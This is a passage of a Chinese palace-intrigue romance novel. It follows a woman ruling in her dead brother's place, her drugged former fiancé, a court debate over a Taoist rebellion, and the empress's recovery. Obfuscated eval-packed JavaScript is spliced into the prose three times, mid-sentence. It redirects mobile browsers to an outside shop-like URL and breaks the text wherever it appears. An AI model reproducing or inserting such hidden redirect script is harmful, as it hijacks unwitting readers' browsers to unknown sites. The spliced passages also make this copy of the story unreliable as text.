“阿晏,不是我……”萧含光想推开他,却推不动,只挣扎着将唇舌分开,便感觉那灼热气息喷在耳侧,将她耳朵含住厮磨。 萧含光感觉一股颤栗,从尾椎骨蔓延至全身。这本是因她话说得太满生出的事端,此刻也只能生受着,她低低喘息着,如困兽哀鸣,颤声道:“阿晏,你相信我。我今日只是想寻个由头,召你入宫,想问你一些事……下药的事,是太皇太后所为,我真的不知情……” 上方的人闻言动作一顿,目光如寒潭破冰,似乎有几分相信。 “我本以为你会抗旨,毕竟你入京后也没怎么遵过圣旨,这事更不会同意……”萧含光苦笑道:“没想到你和萧红鲤一起离开了……船上的事真的不是我安排的……”如今两人肌肤相贴,一身黏腻的热汗,萧含光推了推他:“阿晏,你先起来……” “原来是我想错了,自作自受……”宋海晏的音色沙哑不堪,带着几分委屈,“可是,阿幸,我……我难受极了……” 这会不是“陛下”,他又唤她阿幸,应该是信了她的说辞。 萧含光撑着身体,扶着他坐了起来,银灯错照,明暗跳跃交叠。 只见宋海晏束发的玉冠滚落一旁,汗湿的头发贴着他面颊,那双深邃的眼眸此刻混沌不堪,从前那一眼清泉,终究沉沦泥沼之中,只剩下最原始的欲望正在燃烧。 就在那燎原之火将达到顶峰之时,他手中不知何时多了一片碎瓷,划向自己的手腕,鲜血急涌而出。他眉毛因疼痛一拧,眼中也终于恢复了一线清明,靠着床榻低低喘息:“阿幸,明明知道见到你更加忍不住,我今晚就不该来这里……” 萧含光的心皱成一团,更懊恼自己当时没有阻止他和萧红鲤一起离开。如果他没有上船,就不会有现在的事。 “你别动,我去拿药。” 她从前学过医术,又因身份不便,从不传召太医,一些常用的药物殿中都备了一些。她寻了外敷的药来,仔细涂在他受伤的手腕上,用素色巾帕缠好。又倒了一杯水,送到他的唇边,他却并不喝,伸出右手接住,可受伤的手拿不稳,水溅洒在衣服上。她终是忍不住,将茶盏夺了回来,低声道:“阿晏,你受伤了,病人不需要那么多自尊心……” 他一愣,不再挣扎,就着她的手慢慢喝了一杯水。 一时之间,两人都想起从前药师庵的旧事,既是心酸,又是甜蜜,静静偎依,不再说话。 然不知那茶水中是何虎狼之药,没过多久,宋海晏呼出的气息又炙热浓烈起来,眸色也变得晦暗不明,他不受控地重新向她靠了过来。他将额头抵在她的额头上,亲吻她的鼻子,又向上吻上她的额发,她听到他如同梦呓般地一遍遍叫道:“阿幸……阿幸……阿幸……” 那声音缱绻温柔,教她几乎生不出反抗的念头。她想,他们本应是结发夫妻,如果不是婚礼生变,在八年前就该洞房花烛、玉成好事,她已误他多年,就算此刻行周公之礼,也不算什么。 宋海晏颤抖的右手摸到她的腰间,似乎想将皇帝的腰带解下来,可在这里遇到了阻碍——皇帝玉带的暗扣在内里,若是不知关窍便难以下手。他很快没了耐心,眼中密云堆积,下手愈重,龙袍的内衬一下子被他扯坏,可是那玉带还是牢牢扣在她腰间。 萧含光一手按上玉带暗扣,到底冷静了下来——她如今是皇帝,眼下是在帝宫,他们本不该如此。此刻一夜放纵,若不幸有妊,她又该如何自处?宋海晏眼下不过因情欲迷失,失去神智,他若清醒,也未必愿意如此,不然之前何以划伤自己的手腕? 她咬咬牙,狠下心肠,按了一下他右腕伤处。宋海晏吃痛,眼中再次恢复一线清明,萧含光直视他的眼睛,问道:“阿晏,你相信我吗?” 宋海晏有些茫然,还是点了点头。 萧含光深吸了一口气,轻声道:“阿晏,我知道你很难受,我会帮你,但一会不管我做什么你不要反抗好吗?” 她说完,便主动俯下身,擒住那一双柔软的薄唇。宋海晏喉间溢出一声低沉的呜咽,长臂骤然收紧,将她抱在怀中,唇舌随意以更加猛烈的力道侵袭了过来。萧含光伸出右手,捉住床上掉落的金簪,在他忘情之时,指尖轻轻拂过后颈,寻到风府穴所在,骤然刺入。 宋海晏身躯猛地一颤,却终究未作反抗。刹那间气力尽散,如断线纸鸢般软倒在她怀中。 萧含光长舒一口气,指尖抚过他后颈穴位——风府穴乃诸阳之会,以巧劲刺入可令气血逆冲致人昏迷,然稍一偏差便会伤及延髓,危及性命。宋海晏曾习武艺,若本能抵抗,反而有事,幸得他此刻神志半昏,又对她全然信任,方无大事。 萧含光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616943|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到书案前,抬笔写下几行墨字,朝殿外呼了一声:“楚姑姑。” 楚秋筠从外走入,看到纱帐内里的情形微微一惊。但她从七年前萧含光入宫之时便随侍皇帝,一个月前也知皇帝曾换女装与宋海晏船上私会,很快压下心下惊慌,低眸道:“陛下有何差遣?” 萧含光道:“朕要沐洗,你命人准备沐汤。”她将手中的药方递了过去,“命冯大用将药方上的药材备齐。注意,不可以在太医院抓药,让他想其他的办法。” 楚秋筠将药方接过:“是。奴婢这便去办。” “今晚的事不可走漏风声。还有,你也是太皇太后信得过的人,明早你去告诉太皇太后一声·,宋海晏非是可以挟制的人,此事可一不可再。否则,朕会翻脸。” 皇帝声音极冷极沉,楚秋筠听得胆寒。这七年,皇帝威严渐重,但对太皇太后一向恭谨,从不曾说这样重话。她恭恭敬敬垂头:“奴婢遵旨。” …… 半个时辰之后,一切齐备。 萧含光并不知太皇太后用的什么药,但以药理而言,无非是使气血充盈,阳气激发的方子。她只需反道而行,选用使气血平抑,药力发散的药材即可。 萧含光将备好的药材放入浴汤之中化开,又试了试水温,回到床边,将昏睡不醒的宋海晏扶入浴桶之中。 水花四溅,他那身月白绡衣一入水,就贴在身上,若隐若现地勾勒出劲瘦腰线,透出底下紧实的肌理,在氤氲水雾中恍如苍龙隐现波涛之中。萧含光第一次见这般景象,粉面微红,忙垂眸避开。 转念一想,湿衣裹身既不舒适,又碍药力渗透,终是上前一步,伸手探入温汤之中。 她伸手拉开襟口细带,随着湿衣褪落,赫见那玉色胸膛上布满了横七竖八的伤痕,这些伤痕大多颜色很浅,只有左胸处,一道箭疤狰狞刺目。 她猝然屏息,她当然知道这些伤痕是怎么来的。八年前,他们私奔离开药师庵,宋海晏被皇家侍卫一箭透胸而过,养了两个月才好,后来宋海晏为了求娶长乐公主,又被他父亲差点打死,这些都是那时候留下的痕迹。 萧含光忽然觉得眼中一片酸涩。她鬼使神差般伸出手,指尖轻轻抚过那道箭疤。刹那间,掌心传来有力的心跳,一下又一下,震得她指尖发麻,心血如潮涌,颤栗不休。 一滴热泪终于从脸颊滚落,滴入浴桶,消失在水中。 …… 玉殿中灯火葳蕤,雾气蒸腾。药力渐渐渗入肌理,宋海晏面上潮红渐退,眉目也慢慢舒展开来,呈现出原本的柔和面目。 萧含光倚在浴桶边上,看着这张熟悉的面庞。 自入金陵,宋海晏人前嚣张跋扈,令人望而生畏;与她相见时,又总带几分愁绪。让人几乎忘了,从前的宋海晏澹泊温和,热烈赤诚,他爱说话、爱笑,是少年郎最美好的模样。 然而水消失在水中,时间消失在时间之中,过去的宋海晏消失在现在的宋海晏之中。 八年之前,她没有想过自己会成为皇帝,宋海晏也没有想过要做一个大将军。 命运之所以称为命运,在于不可捉摸,不可对抗。 佛曰,不可说,不可说。 63. 第十四章 春水消冰 长夜迢迢。 青铜莲花连枝灯座上的蜡烛已燃尽,萧含光起身,一支一支地换过。 浴桶中水声轻响,回头时只见宋海晏已撑着桶沿坐起,乌发湿漉漉搭在锁骨,双眼一眨不眨地看着她。幽微灯火在那双明眸中流淌,冬冰消融,春水潮涌,淌入她的眼波。 “阿幸。”他轻轻唤她,脸上梨涡浅现,如春日梨花拂雪。 他此刻上身不着一缕,一截胸膛浮出水面,水珠沿着胸膛的沟壑缓缓下滑,在烛光映照下泛着细碎的光。呼吸时肌肉微微起伏,锁骨凹陷处积着未干的水痕,腰腹线条紧实分明,每一处都清晰可见。分明之前已经看过触过,此刻竟不敢直视。 萧含光两颊微红,背过身去,轻声道:“旁侧檀木几上备了中衣……我的衣服不合你的尺寸,这是新制的内监常服。虽粗陋些,倒还干净,你先换上……” 她走到书案旁,凭几而坐。案头博山炉正焚着沉水香,烟缕盘旋如美人袅舞。 身后传来咕噜咕噜的出水声,接着又是窸窸窣窣衣料摩擦的声音。不知是不是宋海晏动作太慢,时间似乎格外漫长。 她不敢回头,静气屏息,从架上抽出一本书来看。不知看了几页,忽觉得殿内格外寂静,一点声音也没有。她莫名觉得不安,正要回头,整个人已被拦腰抱了起来,径直落入床帐深处。 锦被翻覆,两只宽大的手掌将她合腰搂住,箍在怀里,迫着她与他相对。 明烛高烧,玉色光辉透过轻纱帘幕,映出暖黄色的星点,和眼前人灼灼目光。 萧含光呼吸发烫,想起之前的事,想要推他:“阿晏,你……” “放心,我不做什么。”他笑着凝视她,眉眼弯弯,细碎流光,摇曳一池春水,“我就是想抱着你,和你说话……你之前不是说有事要问我吗?”萧含光久未见他这般明亮的笑容,心怀也随之一暖,便不再动作,由他抱着。 她今日召他入宫,本是有话要说,虽未料竟会缠绵至榻上,却也知晓良辰易逝,嘉会难再,便轻声道:“阿晏,我想问你狩礼上的事。澹台炜一案我已经发落,他既已对你动了杀心,不能再留在金陵,我将他贬到建宁。但此事并非澹台炜临时起意,背后或许另有阴谋。阿晏,你那天并未行猎,为什么会出现在溪谷中?” 宋海晏捉了她一缕头发丝,缠绕在手指上,漫不经心回忆道:“我那天本来想去山中找个僻静的地方补觉……” 萧含光一愣:“补觉?”随即想到那天晚上他抱着弓守着猎宫,大概并没有休息,到了白天,众人竞猎,他也不好在营地里休息,所以干脆入山寻地方睡觉,便点头道:“后来呢?” “我在山中遇到了一个猎人……”宋海晏歪着头:“多半是个刺客。他穿着山中猎人的装束,鬼鬼祟祟,躲躲藏藏。皇帝狩猎,这座山应该早就封山了,不会有山民误入。我想禁军防卫一向不太靠谱,怕又是北魏派来的刺客,就想抓了审一审……” “谁知,这人隐匿能力极强,箭术也出奇的好。他发现我追踪之后,放了两箭,若非我身手敏捷,差点被他射中。后来,他逃入峡谷,失去踪迹,我回头的时候,才发现澹台炜也在林中。”他唇角荡开一抹笑容,“不过澹台炜箭术稀烂,射射野猪兔子还行,想杀我还远着呢……” 澹台炜的箭术被他评价为“稀烂”,那刺客的箭术被他评价为“出奇的好”,看来齐韶的猜测没错,宋海晏果然遇到了齐家的那名神射手。 萧含光缓缓吐了一口气,问道:“阿晏,你七年前在洛阳城下被暗箭所伤,凶手是谁,最后查出来了吗?” “没有,我舅舅回去把军中查了个遍,也不知道那支箭从何而来……”他忽地一顿:“难道——” 萧含光点了点头,面容也冷了下来,说道:“那是齐家的人,那个人出现在猎场,不是冲着我,而是冲着你。阿晏,明枪易躲暗箭难防,你在金陵,要万分小心。” “你放心。”他肆意地笑了一声,眉眼一挑,勾出一抹桀骜不驯来。“大难不死必有后福,七年之前,他们没能杀了我,现在更加没机会。” 他又凑近了些,闻着她发丝上的清香,“阿幸,你今天召我入宫,原来是要说这个。” 萧含光点头:“是。”她解释道:“齐氏在皇宫有不少耳目,现在也不好动他们。我若有太反常的举动,用不了多久就会传到齐鸿的耳朵里……赐婚是个不错的借口……我真的没有想到,太皇太后另有盘算,本来你拒婚就什么事都没有……” “是我多心,平白遭罪。”他神色懊恼,不知想到什么,忽又笑了起来:“福兮,祸之所倚;祸兮,福之所伏。说不定,我还应该感谢太皇太后……” 萧含光一愣,又听得他道:“若非阴差阳错,我又怎么能像这般抱着你?”他将头埋在她肩颈之间,轻轻蹭着她的颈窝。他的头发已经干了,和她的头发纠缠在一起,如两株藤蔓悄然交缠,分不清彼此。 萧含光本来想催他离开,抬眼却见他眉目间明朗笑意,竟是不好开口。怔忪片刻,耳畔传来平稳清浅的呼吸声,他竟这样睡着了。 她望着他沉睡的容颜,啼笑皆非,终是轻叹一声,将心中烦忧暂时搁下。灯架上膏烛燃尽,将偎依的人影融入夜色之中。 一夜安眠。 四更时分,门敲了三响,殿外传来楚秋筠的声音:“陛下,该上朝了。可容奴婢进来,服侍陛下梳洗?” 萧含光一惊,连忙去推身边的人:“阿晏……” 宋海晏纹丝未动,萧含光抬眸看时,却见一双黑眸澄亮,在黑暗中不知看了她多久,原来他早就醒了。 更漏相催,这偷来的一晚也终将结束。宋海晏坐起身,朝门口望了一眼,道:“阿幸,你让外面的人等一下,先不要进来。” 萧含光不知所以,仍然吩咐道:“楚姑姑,且候一刻钟再进来。” 廊下脚步声渐次远去,宋海晏披衣下床。他点燃宫灯,目光一一扫过九根雕龙巨柱,最后在东北角那根蟠龙柱前驻足。只见他屈指叩了叩龙首,忽向左轻旋三圈,“咔嗒”一声轻响,地上的大理石板裂开,现出二尺来宽的洞口。宋海晏满意地笑了:“果然在这里……” 萧含光大吃一惊,皇帝的寝宫有机关密道,她竟对此毫不知情,不由问道:“阿晏,这是怎么一回事,你怎么知道这里有一条密道?” 宋海晏道:“阿幸,你可知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622989|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道金陵的皇宫是谁建造的?” 萧含光摇头。 宋海晏道:“这座宫殿已经存在了两百多年了,建造它的人是两百年前晋朝的工匠王彬。那时发生了一场叛乱,历阳内史勾结镇西将军攻入金陵,整座金陵城都被焚毁,皇帝也被挟持,沦为人质。叛乱平息后,王彬奉旨重建金陵城时,在皇帝的寝殿中建造了一条密道,危急之时可以借此密道逃生。” 萧含光秀眉微蹙,“为什么我没有听说过这事?宫中典籍对此也没有记载……” 宋海晏道:“两百年间朝代更迭频繁,皇帝也换来换去,慢慢的这条密道就不为人所知了。七年前庐江城被焚毁,我妹妹碧棠重修庐江城时,有人进献了王彬生前留下的手稿,上面记载了宫中密道的事,我这才知道。” 萧含光低下头,盯着脚下黑黝黝的洞,问道:“这条密道通往哪里?” 宋海晏:“当然是通往将军府,我可是命人挖了一个多月。” 萧含光愕然:“什么?你不是说着地道是两百年前王彬挖的吗?” 宋海晏露齿一笑:“哈哈,王彬让人挖的部分通往江边的石头城,我让人挖的那部分通往将军府。” 萧含光怔了怔,明白了他的意思。宋海晏得了王彬留下的手稿,知道了宫中密道之事,入住将军府之后,便在自己家中开挖密道,使之和原本的密道相连。难怪自他入金陵之后,将军府就大兴土木,可建了一个月,却没见有新筑成的亭台楼阁,想来不过是掩人耳目的手段。 他费这么多心思,无非是想私入禁庭,与她相会而已。 只是,他胆子未免太大了一些。 转念一想,他从前便任性妄为,孤身一人就敢夜入禁闱,想要携她私奔。现在他位极人臣,自然更不把规矩法度放在眼里。 她刚想要斥责他两句,那人已凑了过来,环住她的腰肢,在她耳边低声道:“臣肆意妄为,陛下可要治臣之罪?” 他温热的唇擦过她耳垂,每个字都裹着潮湿的气息,分明是请罪之辞,硬是说出了缠绵旖旎的味道。 萧含光耳尖倏地染上一抹绯色,却强自板着脸,“大将军权倾朝野,朕哪敢治罪?” 身后的人轻笑了一声,道:“阿幸,我知道此事逾矩,但我也并不只是想与你私会。想扳倒齐氏,非是一朝一夕可竟全功。你深居禁中,难保齐氏没有狗急跳墙的时候。有了这条地道,可保万全。你放心,我行事自有分寸,绝不会有误大事。” 萧含光低低“嗯”了一声。 “好了,我先走了。我下去之后,你将梁柱上龙首复原就行了。”他紧紧搂她入怀,随即松开,提灯跳入地道。 萧含光依他所言,将龙柱上的龙首转了回来。随着地板复原,那条地道也消失不见。 楚秋筠进入皇帝寝殿时,殿中已一切如常。她服侍皇帝更衣、梳洗、冠带、早膳,待一切齐备,皇帝便乘御辇往太极殿上朝。 百官早已等候多时,萧含光在御位上端坐,掌事太监正要鸣钟,忽听殿外传来一声散漫的轻哗:“且慢——” 萧含光抬头时,见宋海晏打着哈欠跨过朱漆门槛,步履松散,款款行到御阶之下。 64. 第十五章 仰彼朔风 众大臣早已习惯他这副散漫不羁的模样,虽多有腹诽,倒也无人张目。 今日朝议有一桩大事,吴越之地的天师道教众作乱,叛军攻陷临海、余姚、上虞一带,向北方推进。 时下金陵士人多信奉佛教,民间则盛行天师道。天师道定期向民众发放米面、以符水治病,宣传教法,吸引了许多百姓加入,在地方士族中也不乏信众。 天师道首领张祐自称东皇大帝转世,隔三岔五地聚众起事。前几次一遇官兵便溃散,不成气候,这回却来势汹汹,甚至攻陷郡县,将朝廷命官并当地豪族诛杀殆尽,一时之间,朝野震动。 会稽是魏氏的势力范围,这次天师道叛乱,会稽魏氏首当其冲。魏氏部曲不敌天师道人多势众,嫡系子弟逃到金陵,旁支及门客数百口尽遭屠戮,魏氏掌控的庄园、盐田、港口等尽数落入叛军之手。 中书令魏膺之跪倒御前,嘶哑的声音饱含悲怆,叩首于地:“陛下!天师道凶残暴虐,屠戮朝廷命官,焚掠郡县,杀人无数。会稽乃江南腹地,若任其坐大,必成燎原之势,动摇国本!臣恳请陛下速发天兵,剿灭此獠,以安社稷,以慰冤魂!” 殿内气氛凝重,众臣面面相觑。叛军裹挟流民,声势浩大,且信徒狂热,极难对付。一时间,文武大臣们议论纷纷,或言招抚,或言调军剿匪,目光若有若无地瞟向站在班列前方的齐鸿、宋海晏、澹台恭三人身上。在如今的大楚一朝,有能力率军平叛的无非齐氏、宋氏、澹台氏而已。 纷扰之际,一道清亮的声音响起,瞬间压过了殿内的嘈杂。 “魏公所言极是。魏氏遭此大难,令人痛心。”宋海晏上前一步,敛去面上慵懒,显出傲然之色:“天师道匪寇不过乌合之众,何足俱哉?” 他目光转向御座,微微一揖,姿态随意,语气中透着不容置疑的自信:“陛下,臣请旨率军南下,剿灭乱匪,收复失地,还江南一个太平。” 中书令魏膺之闻言,布满血丝的老眼中闪过一丝急切的亮光。在天师道的冲击下,魏氏已无力掌控会稽局面,宋海晏如此表态无疑给他吃下一颗定心丸。 “大将军高义……”魏膺之朝宋海晏的方向略微致意,随即望向御座,再次叩首:“陛下,臣恳请陛下允准大将军所请。江南安危,皆系于此……” 萧含光正欲答话,司徒公齐鸿出列,朗声道:“陛下,宋氏向来镇守北方防线,如果抽调兵力往南,只恐北虏乘虚而入。而且路途遥远,只恐大军未到,天师道已成野火燎原之势。不如从扬州方面调军平叛。扬州毗邻越地,大军旬日可达,荡平妖氛。” 萧含光微微一愣,齐鸿与魏膺之素来不合,这次竟然主动请缨,实不寻常。斟酌之际,却见魏膺之眉峰一凝,陈词道:“齐司徒忧国之心,老臣深以为然。然则天师道妖众凶悍异常,绝非寻常流寇可比。” “扬州军拱卫京畿,自是国之干城。然……”魏膺之话锋微顿,语气凝重,“请恕老臣直言,实难与庐江军相比……宋将军麾下大军骁勇,连克徐州、青州、兖州,此等虎贲南下,雷霆万钧,必能一举摧垮妖众凶焰,抵定乾坤。若以钝器击顽石,恐怕难竟全功,反致战事迁延……请陛下明鉴……” 魏膺之竟将扬州军喻为“钝器”,直指其不如庐江军,齐鸿勃然作色,目光灼灼如炬,直刺魏膺之,“魏膺之,老夫念你骤遭大难,本存体恤,你竟不知好歹,阻挠平叛大计,当真不知好歹——” 一时之间,金殿上喧哗声四起,争嚷不休。有的赞成齐鸿,认为从北方调军路途遥远,一旦兵力空虚,北魏趁虚而入,得不偿失。有的则赞同魏膺之,认为宋氏骁勇之师,远非齐氏可比。天师道来势汹汹,唯有重拳出击,将之彻底剿灭,方为上策。 萧含光被吵得额角突突直跳,略一思忖,便明白了其中关窍。 宋氏大军南下会稽,势必要经过江左齐氏的势力范围,这是齐氏不愿见到的事。且宋氏父子镇守淮南,不曾干预朝事,在朝廷中枢没有太多话语权。齐鸿绝不希望打破这等惯例,让宋家势力深入江南核心地带。 而魏膺之素来与齐鸿不合,却和宋家交情不错,当然更乐见宋氏出兵。除此之外,还有另外一层考量。会稽与庐江有八百里之遥,又有北方的压力,平叛之后,宋氏大军必急于北归。而江左与会稽毗邻,齐氏大军平叛之后,夺回的盐田和港口,未必愿意那么轻易还给魏家。 是以,齐鸿和魏膺之这一双死对头,在这个问题上针锋相对,谁都不愿松口。 萧含光眉梢微挑,转眸望向澹台恭,试探地问道:“澹台恭,你可愿率军前往会稽,平定天师道之乱?” 澹台恭与魏膺之并无交情,先前见宋海晏和齐氏都主动请缨,本以为此事和自己没关系。没想到双方争执不下,皇帝竟突然点到自己头上。 于澹台恭而言,这足显皇帝对自己的器重,也是一个建功立业的大好机会。如果他能率军一举平定叛乱,加官进爵不说,家族的影响力也会进一步扩大。 澹台恭眼神一亮,应声出列,大声回道:“臣愿往。” 萧含光转而看向魏膺之:“魏公以为如何?” 魏膺之心下暗忖:澹台氏根基较齐氏为浅,且素日多树敌怨,料无吞并会稽之野心,与魏氏应不致交恶。他颔首道:“臣无异议。” 天子目光又落向齐鸿:“司徒公可有话说?” 齐鸿冷哼了一声,没有再多说什么,朝堂上一时鸦雀无声。 萧含光看着金殿下方一张张或闪烁或晦暗的脸孔,心中冷笑,宋军更勇,齐军更近,在她选择了澹台恭之后,争议反而平息了下来。所谓国之大事,不过是门阀私计而已。 七年了,她原以为自己早已见惯,胸中块垒到底难消。 朝议之后,她便往御书房处理政事,然心中郁郁,一时无法静心,便将如山的奏折推到一旁,一个人坐着发呆。 齐韶进入御书房时,见皇帝在窗边如泥塑木雕般静坐,十二疏冠冕下的眼睛望着虚空,恍若穿过重重宫墙,凝望着禁城之外的远方。 齐韶的心像是被什么东西蜇了一下。 皇帝并非男子,为了隐藏自己的身份,她和大臣们私下里的接触并不多,更不会和后妃亲近。 她没有朋友。 当他不在的时候,皇帝是真正的孤家寡人。 他正犹豫是否上前拜见,却见皇帝转过身,神态已经恢复了帝王应有的模样,正朝他看了过来。 她问道:“齐家那边有什么动向吗?” “没有。”齐韶摇头,“下朝之时,臣见陛下脸色不太好,所以前来问安。”他将手隐在袖中攥了攥,躬身道:“陛下安否?” “朕无事。朕只是……”萧含光微微阖眸,“朕已尽力,却还是有心无力……” 她唇边逸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634658|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹苦笑:“天师道作乱,上策自然是宋家大军南下,以宋海晏的能为,也许一战可定。中策是由齐氏出面。扬州相隔不远,齐鸿担心天师道之祸蔓延到扬州,必定会尽心竭力。澹台恭兵力不足,平叛或将旷日持久,是下下之策……可朕竟只能选择下下之策,今年秋冬,江南不知又会多出多少流民……” 看着皇帝忧虑的神色,齐韶垂下眼眸,他此刻并无言语可以安慰她。 朝堂之上各方掣肘,换了谁来也没有更好的办法。 他希望她可以开心一些,抬头道:“陛下,如今华林园秋光正好,可愿容臣陪陛下游园赏景?” 萧含光意兴索然,摇头道:“朕昨日已经去过,倒不必再赏。” “那陛下可愿与臣下棋消遣?” “下棋耗心耗力,不如省些精神理政……” “那陛下安坐,臣去取琴来,为陛下理气疏神……” 齐韶出门而去,不一会抱着一尾焦桐琴而来。他席地而坐,为皇帝弹奏《朔风》。 “仰彼朔风,用怀魏都。愿骋代马,倏忽北徂。凯风永至,思彼蛮方。愿随越鸟,翻飞南翔……” 琴声淙淙,流泻在宫室之间。如松风过涧,又如雪落寒潭,萧含光以手支颐,看向对坐的青年。 七年过去,齐韶同过去几乎没有任何变化。他眉目依旧温和清润,端雅脱俗,他垂眸拨弦时,广袖轻扬,恍若白鹤振羽,凌尘欲飞。 他对她始终守着君臣之礼,不远不近,如初见时一般。 他身上寻不到岁月流逝的痕迹,直教萧含光几乎忘了,他已二十七岁。 这个年龄的男子大多数早就成亲了,以他容貌品性,应是不愁婚配,然齐韶始终孤身一人。 她心中生出一丝愧疚来。齐韶在金陵别无亲族,大部分时间都抛掷在朝事和宫廷之间,无暇周全个人之事,她本该早点为他择佳偶婚配,可她此前竟从来没想过这事。 琴声止歇时,萧含光问道:“齐韶,你可有心仪的人?如果有,便告诉朕,朕为你主婚。” 齐韶指尖一颤,琴弦发出一声嗡鸣。他眼底掠过一丝慌乱,又很快收敛,“陛下怎么忽然说起这个……” 萧含光叹了一声:“朕只是觉得这些年,事事倚仗爱卿,倒是耽误了你的终身之事。金陵佳丽之地,蕙兰满庭,当有堪配君子之淑女……”她清眸一转,“齐韶,你没想过成家吗?” 齐韶眼神微闪,垂眸道:“臣曾立誓助陛下光复北方,定鼎天下。如今洛阳未复,何以为家?” “可洛阳收复,恐非朝夕之事……” 见皇帝似要穷究下去,齐韶忙道:“不瞒陛下,先父在时,曾为臣定下一门亲事。陛下不必为此挂怀。” 萧含光摇头:“时隔多年,你那未婚妻怕早已另嫁他人……”当年齐韶离开洛阳时不过十四岁,至今已十三载,乱世浮沉,哪还有女子一直等一个早不知是死是活的人? “即便如此,臣也须得回洛阳一探。若她真已嫁作人妇,臣再另作打算不迟。” 萧含光想了想,像齐韶这样恪礼之人,就算在金陵另遇倾心之人,亦难主动背弃婚姻之约。议婚之事,只能暂且作罢。 齐韶见皇帝不再追问,暗暗松了口气。正要寻些事由,将话头引开,忽见白令瑶来报:“陛下,皇后娘娘已经清醒,静仪师太着人传话,请陛下移驾玉烛殿一叙。” 65. 第十六章 彩塑泥胚 萧含光眸中闪过一道异彩。 齐宝珠清醒,意味着她可以找到哥哥的儿子,大楚真正的储君。 她看向齐韶,道:“齐爱卿在此稍候,朕有要务相托。” 齐韶躬身应诺:“臣遵旨。” 萧含光乘御辇来到玉烛殿中,静仪师太早在一旁等候,见礼之后道:“陛下,经过一个月的施针,皇后娘娘的神志已经恢复,贫尼总算不负陛下所托。” 萧含光道:“师太辛苦,朕感激不尽。请师太先回净宁庵休息,朕稍后再往净宁庵拜会师太。” 静仪师太离开之后,萧含光屏退宫人,进入皇后的寝殿。 齐宝珠一身素衣,独坐在妆台前,见皇帝入殿,起身行拜礼:“臣妾参见陛下,愿陛下圣体万安。” 皇后娘娘久在病中,宫人惫懒,在服饰上轻慢俭薄。皇后不着华服,不饰簪环,可当她抬眸时,眉眼间霜雪凝华,容色绝艳,依稀可见“大楚第一美人”的绰约风姿。 十年前,齐氏送女入宫为皇太孙妃。齐宝珠和皇太孙萧樗恩爱甚笃,齐宝珠也曾怀着殷切祈盼,期待他们的孩子出世。可她一连孕育三胎,孩子都没有保住,因此变得疯疯癫癫。 萧含光停下脚步。 如果是她的哥哥萧樗,见到久病初愈的皇后,现在该说些什么? 她想不出。 她能模仿哥哥的举止态度,却无法得知昔年的皇太孙,对自己的王妃,到底怀着怎样的情感。 她只能微微颔首,道:“皇后娘娘平身。” 齐宝珠起身,站在原地,怔怔地看着她半晌,低低叹了一口气,道:“原来阿樗穿上冕服,是如此模样……” 一行珠泪在她眸中凝结,扑簌而落。 萧含光无措起来,“宝珠,朕……”多年前,她不知该如何面对失去儿子的母亲,现在,也不知该如何面对失去丈夫的皇嫂。 齐宝珠以丝帕拭泪,低声道:“陛下,你的身份静仪师太已经告诉了我。我知道阿樗已经死了……只是你和他实在太像了,你不必安慰我,只要站在那里,让我多看片刻便好……” 萧含光心头一窒,仿佛被那无声的泪水烫了一下。她僵立在原地,任由齐宝珠的目光在她脸上流连、描摹,仿佛要透过她这张酷似兄长的面庞,抓住早已消散的亡魂。 她感到一种深切的无力——她站在这里,穿着兄长的龙袍,顶着兄长的身份,却无法给予眼前这可怜女子真正的慰藉。 她只是一道影子,一具供人凭吊的躯壳。她甚至不敢呼吸太重,生怕自己细微的动作差异会打破齐宝珠眼中那点脆弱的寄托,惊扰了这短暂的幻梦。 许久之后,齐宝珠的心绪总算平复了下来,她再次开口,轻声道:“这些年我虽在病中,无法自主,也不是全然蒙昧与混沌。该知道的事情我都已经知道。陛下此番所为何来,我亦明了。” 萧含光舒了一口气,如果齐宝珠已然知悉一切,不必她多费唇舌,自然再好不过,便问道:“那个孩子身在何处?” “当年那对母子被我送到雀子湖以东的一座村庄。村头有一座石桥,那母子居住的屋前有一棵大桑树。知道此事的宫人都被我遣散归家,再没有人知晓他们的下落。如果他们没有搬走,应该还住在那里。”齐宝珠微微一顿,语气添了几分怅惘:“那宫女姓朱,算起来,那个孩子如果平安长大,现在该十岁了。” 萧含光心中放下一块大石,诚挚道:“宝珠,谢谢你。” “陛下,你不怨恨我吗?”齐宝珠眼中浮现一丝愧疚,叹气道:“如果不是我将这对母子藏起来,萧家早有皇嗣,或许你可以早点离开药师庵……” “前尘往事,已如一梦。”萧含光轻轻摇头:“如果不是你恰好将这对母子送走,他们如今未必还活着。” 